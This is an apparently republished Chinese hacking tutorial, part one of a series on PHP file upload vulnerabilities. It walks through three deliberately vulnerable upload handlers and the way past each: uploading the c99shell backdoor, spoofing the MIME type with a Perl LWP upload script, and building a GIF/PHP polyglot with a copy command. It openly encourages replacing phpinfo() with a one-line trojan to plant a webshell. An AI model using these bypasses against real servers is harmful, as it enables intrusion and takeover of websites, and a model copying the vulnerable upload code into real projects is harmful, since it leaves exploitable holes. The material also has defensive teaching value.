PHP漏洞挖掘之旅——详解PHP文件上传漏洞(一)

发布时间:2011年03月04日      浏览次数:878 次
这次我要给大家讲解地是上传漏洞,但这个上传漏洞和ASP的不同,因为它是在PHP中的上传漏洞。比较经典,在很多场合都能用得上,希望对大家的学习之路能有所帮助。
开始之前我先罗嗦一下ASP的上传原理,就以动网曾经存在的上传漏洞为例吧。对于特殊字符chr(0),学过C的人都知道,它其实就是“/0”,也就是结束了。当我们上传一个“aaa.asp .jpg”(中间的空格表示chr(0))文件时,用right(file,4)看的时候,确实显示的是.jpg,但当实际读取filename="aaa.asp .jpg"并生成文件的时候,系统读到chr(0)就以为结束了,所以后面的.jpg就被截断了,这样就可以执行我们的aaa.asp文件了。但是对于PHP来说,上传漏洞的种类就非常多了,利用也很广泛。也许是我对ASP的研究不够深才这么说的,希望大家看完这篇文章以后,能帮我找到我不足的地方。
基础知识
首先我们要了解的是HTTP协议,要是详细讲解的话够写一本书了,这里就概要的讲解一些我们用得着的东西。
HTTP是超文本传输协议的缩写,用于传送WWW方式的数据。它采用了请求/响应模型,客户端向服务器发送一个请求,请求头包含请求的方法、URI、协议版本,以及包含请求修饰符、客户信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应,相应的内容包括消息协议的版本,成功或者错误编码加上包含服务器信息、实体元信息以及可能的实体内容。
我们先来看一个详细的上传JPG的正规模式的数据包,然后我再给大家讲解一下。
POST /upload/upload.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Referer:http://127.0.0.1/upload/upload.html
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7d718341001a2
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)
Host: 127.0.0.1
Content-Length: 337365
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D;
这个数据包的第一行“POST /upload/upload.php HTTP/1.1”是利用HTTP的Post方法向“/upload/upload.php”文件打包传递数据。Accept是定义客户端可以处理的媒体类型,按优先级排序;在一个以逗号为分隔的列表中,可以定义多种类型和使用通配符。Referer头域允许客户端指定请求URL的源资源地址,可以允许服务器生成回退链表,可用来登录、优化Cache等,也允许废除的或错误的连接由于维护的目的而被追踪。如果请求的URL没有自己的URL地址,Referer不能被发送。如果指定的是部分URL地址,则此地址应该是一个相对地址。
对于HTTP协议,我们了解这些就足够了,更详细的内容大家可以查阅相关资料。下面我们就正式进入PHP上传漏洞的详细讲解部分。
最基础的上传漏洞
最基础的上传漏洞一般很少出现,能写出存在这样漏洞的程序的人大多是初学PHP语言,对PHP安全根本就不了解。
下面我们就来详细地讲解一下这种最简单的PHP上传漏洞。首先我们需要两个源程序,第一个是upload.html,用于提交文件,第二个是upload.php文件,用于接收文件并且对它进行相应的处理。
upload.html的源代码如下:
<form action=”upload.php” method=”POST” ENCTYPE=”multipart/form-data”>
点这里上传文件:<input type=”file” name=”userfile”>
<input type=”submit” value=”提交” name=”upload”>
</form>
upload.php源代码如下:
<?php
$uploaddir = 'uploadfile/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
{
echo "<pre>";
print_r($_FILES);
echo "</pre>";
}
?>
小提示:move_uploaded_file()函数的原型是“bool move_uploaded_file ( string filename, string destination)”,用于检查并确保由filename指定的文件是合法的上传文件(即通过 PHP 的HTTP Post上传机制所上传的)。如果文件合法,则将其转为由destination指定的文件。
我们直接在upload.html中上传PHP后门c99shell.php,如图1和2所示,成功地执行了我们的脚本了。不过相信现在最弱智的程序员也不会这样办了。呵呵,好了,我们深入一些吧。
文件上传类型漏洞之一
可以让用户上传任意的文件和查看任意的文件通常不是一个好的程序员的做法,因此大多数的程序都有防范它的功能。
为了演示这个漏洞,我们还是需要两个文件,uploadfile.html和uploadfile.php。我们还是先看一下源代码,然后一句一句地分析。
uploadfile.html的源代码如下:
<form action="uploadfile.php" method="POST" enctype="multipart/form-data">
点这里上传文件:<input type="file" name="userfile">
<input type="submit" value="提交" name="upload">
</form>
uploadfile.php的源代码如下:
<?php
if($_FILES['userfile']['type'] != "image/gif")
{
echo "对不起,我们只允许上传GIF格式的图片!!";
exit;
}
$uploadfir = 'uploadfile/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile))
{
echo "文件是有效的, 成功上传!!!";
} else {
echo "文件上传错误!!!请重新上传!!!!\n";
}
?>
其中“if($_FILES['userfile']['type'] != "image/gif")”这句代码的意思是检测文件的MIME类型,需要浏览器提供该信息的支持。本例中使用的是“image/gif”,其他的代码和第一个例子差不多,我就不详细讲解了。
我们还是看实际操作。如图3所示,我们直接上传PHP是不能成功的。下面我们来看看如何绕过它来继续上传要执行的PHP文件。

在这之前,我们要用到一个Perl写的小程序来实现上传,非常的简单,我就不详细讲解了,不然十页也写不完了,大家只要知道怎么用就可以了。其源代码如图4所示,只要将图中画线的地方改为我们的实际地址与文件名就可以了。

把我们要上传的shell.php保存在当前目录下,然后执行一下Perl程序,如图5所示,提示成功上传了!再确认一下我们的文件到底有没有上传上去,如图6所示,上传的文件安静地躺在我们程序的目录中了。

传说中的上传经典漏洞产生了,这里就是利用了PHP自身的$_FILES[]漏洞来绕过HTTP协议上传的。Upload.pl这个程序用于把Content-type的类型修改为image/gif。

我们继续往下看,一步一步的把这个程序完美化,看是否还存在漏洞。
文件上传类型漏洞之二
如果你决定使用真实且有效的图片来做Content头检测的话,可以使用getimagesize()函数,其原型是“array getimagesize ( string filename [, array &imageinfo] )”。这个getimagesize() 函数将测定任何GIF、JPG、PNG、SWF、SWC、PSD、TIFF、BMP、IFF、JP2、JPX、JB2、JPC、XBM或WBMP图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通HTML文件中<IMG>标记中的height/width文本字符串。如果不能访问filename指定的图像或者不是有效的图像,getimagesize()将返回FALSE并产生一条E_WARNING 级的错误。有了这些基础知识,我们就可以继续看例子了。
我们同样两个提交文件的uploadfile2.html和uploadfile2.php文件。Uploadfile2.html和例2的一样,把action改成uploadfile2.php就行了,我们直接看uploadfile2.php的代码。
<?php
$imageinfo = getimagesize($_FILES['userfile']['tmp_name']);
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg') {
echo "对不起,我们只接受gif和jpeg的文件格式!!!!";
exit;
}
$uploaddir = 'uploadfile/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
echo "上传成功了!Yeah!";
} else {
echo "上传失败!!!";
}
?>
我们只要理解getimagesize()这个函数就能很好地理解这个程序了,我这里就不废话了,也不截图说明了,因为绝对的200%的传不上去。下面我们就着重说说如何才能上传成功,还是先用例2使用的程序,看看能不能绕过这个程序上传。
如图8和图9所示,可以看到没有上传成功文件,说明这个程序还算是健壮的。这个时候你会不会认为程序就是完美的了呢?程序员是不是认为除了GIF和JPEG以外的任何文件都不能上传了呢?回答是不,我们还是有办法的。我们不要忽略一点,就是一个文件可以是GIF和JPEG文件,但同时也可以把PHP脚本加到里面。一个GIF文件可以包含文本注释,当getimagesize()检测这个文件的时候,它是一个真实有效的GIF文件;但对我们来说,它同时又是一个可以执行PHP脚本的文件,因为GIF的二进制文件中含有我们的PHP程序。其实这个制作过程很简单,但是我相信很多初学黑客的朋友不一定知道该如何制作这种文件。我就把这个过程也写下来,希望对还不知道的人能有所帮助。

我们需要用到两个文件,第一个文件就是一个图片,随便什么的都可以,只要小一点就可以了,我用的是Google的logo文件google.gif。第二个文件就是PHP文件,代码是“<?php phpinfo()?>”,文件名为phpinfo.php。打开CMD窗口,输入命令“copy google.gif /b + phpinfo.php /a phpinfo.gif”,执行后,GIF和木马的完美产物就完成了。
好了,现在我们就可以想象怎样来绕过它了。下面我给出漏洞的利用程序,来看看我们究竟是如何绕过去的。我们要做的就是把upload.pl修改一下代码,修改后的代码如下:
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new;;
$res = $ua->request(POST 'http://192.168.0.1/upload/uploadfile2.php',
Content_Type => 'form-data',
Content => [
userfile => ["phpinfo.gif", "phpinfo.php", "Content-Type" =>
"image/gif"],
],
);
print $res->as_string();
这里要注意的是,必须要把phpinfo.gif和phpinfo.php放到程序的同一个目录下。好了,下面我们就在Linux下把漏洞利用程序执行一下试试。如图10所示,我们成功地上传了。输入IP看看能不能执行吧,如图11所示,成功执行了。事实上,如果我们把phpinfo()换成一句话木马什么的,得到的自然就是木马啦,一切就看你的需要了,嘿嘿。
至此,这一期的PHP文件上传漏洞的第一部分到这里就结束了,下期我将会继续讲解PHP上传漏洞的第二部分——PHP扩展名漏洞上传等。敬请关注。
文章来源:http://www.7747.net/Article/201007/54199.html
免责声明:本站相关技术文章信息部分来自网络,目的主要是传播更多信息,如果您认为本站的某些信息侵犯了您的版权,请与我们联系,我们会即时妥善的处理,谢谢合作!